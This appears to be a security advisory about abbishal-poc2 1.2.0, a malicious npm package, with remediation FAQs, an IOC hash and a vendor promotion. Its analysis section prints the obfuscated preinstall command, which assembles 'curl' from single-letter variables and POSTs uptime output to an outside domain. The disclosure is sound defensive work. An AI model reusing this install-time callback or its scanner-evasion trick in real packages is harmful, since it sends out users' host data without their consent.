Which versions of abbishal-poc2 are malicious?

The following npm versions of abbishal-poc2 are flagged malicious: 1.2.0. Treat any of these as compromised.

How do I remediate abbishal-poc2 if I installed it?

abbishal-poc2 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed abbishal-poc2 — how do I know if it already compromised me?

If abbishal-poc2 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is abbishal-poc2 part of a known attack campaign?

Yes — abbishal-poc2 is associated with the IN-MAL-2026-021131 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find abbishal-poc2 across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for abbishal-poc2 (version 1.2.0).

Malicious package

abbishal-poc2npm

Advisory published Oct 8, 2026Updated Oct 8, 2026

abbishal-poc2 is a confirmed malicious npm package (MAL-2026-17654) that opens a backdoor for remote access (malicious version 1.2.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in abbishal-poc2 (npm)

MAL-2026-17654

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall abbishal-poc2

What this malware does

package.json declares a preinstall script sh./test.sh. test.sh assembles the string curl from single-character shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and then invokes $i$h$l -d "uptime" https://abbishal.com/sh/poc, POSTing the output of uptime (and implicitly the installer's source IP) to abbishal.com at npm install time. The README claims the package has no install scripts and no network activity, directly contradicting the shipped behavior. The command-name obfuscation via per-letter variable assembly is a technique to evade static scanners searching for curl in lifecycle scripts, and the destination domain does not match the package's claimed publisher.

Malicious versions

1 flagged

1.2.0

Indicators of compromise (SHA-256)

e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f

Detection & response playbook

Backdoor / remote access

Find it
Search your lockfiles and build artifacts for abbishal-poc2 (version 1.2.0).
If you installed it — respond
abbishal-poc2 establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If abbishal-poc2 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. abbishal-poc2 on npm has been identified as a malicious package (version 1.2.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-021131

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks abbishal-poc2-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database